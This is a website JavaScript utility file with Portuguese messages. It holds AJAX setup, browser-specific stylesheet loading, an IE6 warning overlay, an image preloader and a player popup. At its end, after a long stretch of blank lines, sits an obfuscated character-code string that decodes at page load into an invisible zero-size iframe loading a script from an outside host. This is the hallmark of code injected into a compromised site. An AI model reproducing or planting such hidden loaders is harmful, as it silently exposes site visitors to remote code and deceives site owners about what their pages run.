// JavaScript Document
function Ajax(){
	var ajax;
	try {
	  ajax = new XMLHttpRequest();
	} 
	catch (e) {
		try {
		ajax = new ActiveXObject("Msxml2.XMLHTTP");
		} 
		catch (e) {
			try {
			  ajax = new ActiveXObject("Microsoft.XMLHTTP");
			} 
			catch (e) {
			  alert("Seu browser não da suporte à AJAX!");
			  return false;
			}
		}
	}
	return ajax;
}

function Navegador() {
	var caminho = "";
	var navegador = navigator.appVersion;	
	var navegador = navegador.split(" ");
	var tipo   = navegador[2];

	if ( tipo == "MSIE" ) {
		var versao = navegador[3];	
		if ( versao == "8.0;" ) {
			caminho = "_ie8";
		}
		if ( versao == "7.0;" ) {
			caminho = "_ie7";
		}
		if ( versao == "6.0;" ) {
			$(document).ready(function() {	
			
				var maskHeight = $(document).height();
				var maskWidth = $(window).width();
				var altura = $(window).height();
			
				$('#sombra_geral').css({'width':maskWidth,'height':maskHeight});
				$('#sombra_geral').css({'width':maskWidth,'height':maskHeight});
				$('#sombra_geral').show();	

				$('#ie6').css({'margin-left':maskWidth/2-$('#ie6').width()/2});
				$('#ie6').css({'margin-top':altura/2-$('#ie6').height()/2});
				$('#ie6').show();	
				
			});
			$(function() {	
				$("#ie6_continuar").click(function() {
					$("#sombra_geral").hide();
					$("#ie6").hide();
				});
			});
		}
	}
	if ( tipo == "U;" ) {
		caminho = "_ch";
	}
	if ( tipo == "pt-BR)" ) {
		caminho = "_ff";
	}
	if ( tipo == "NT" ) {
		caminho = "_op";
	}
	document.write('<link rel="stylesheet" type="text/css" href="../../style/style'+ caminho + '.css">')
}

function TrocaValor ( id, valor ) {
	if ( valor == id ) {
		document.getElementById(id).value = "";		
	}
	if ( valor == "" ) {
		document.getElementById(id).value = id;		
	}
}

function PreLoadImages() { //v3.0
     var d = document; 
	 if (d.images) { 
	 	if (!d.MM_p) {
			d.MM_p = new Array();
		}
		var i,j = d.MM_p.length, a = PreLoadImages.arguments; 
		for ( i=0; i < a.length; i++) {
			if (a[i].indexOf("#")!=0){ 
				d.MM_p[j] = new Image; d.MM_p[j++].src=a[i];
			}
		}
	}
}

function Player () {
	window.open('../../inc/player.php','player','width=400,height=300,toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,copyhistory=no,resizable=no,top=180px,left=500px');
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

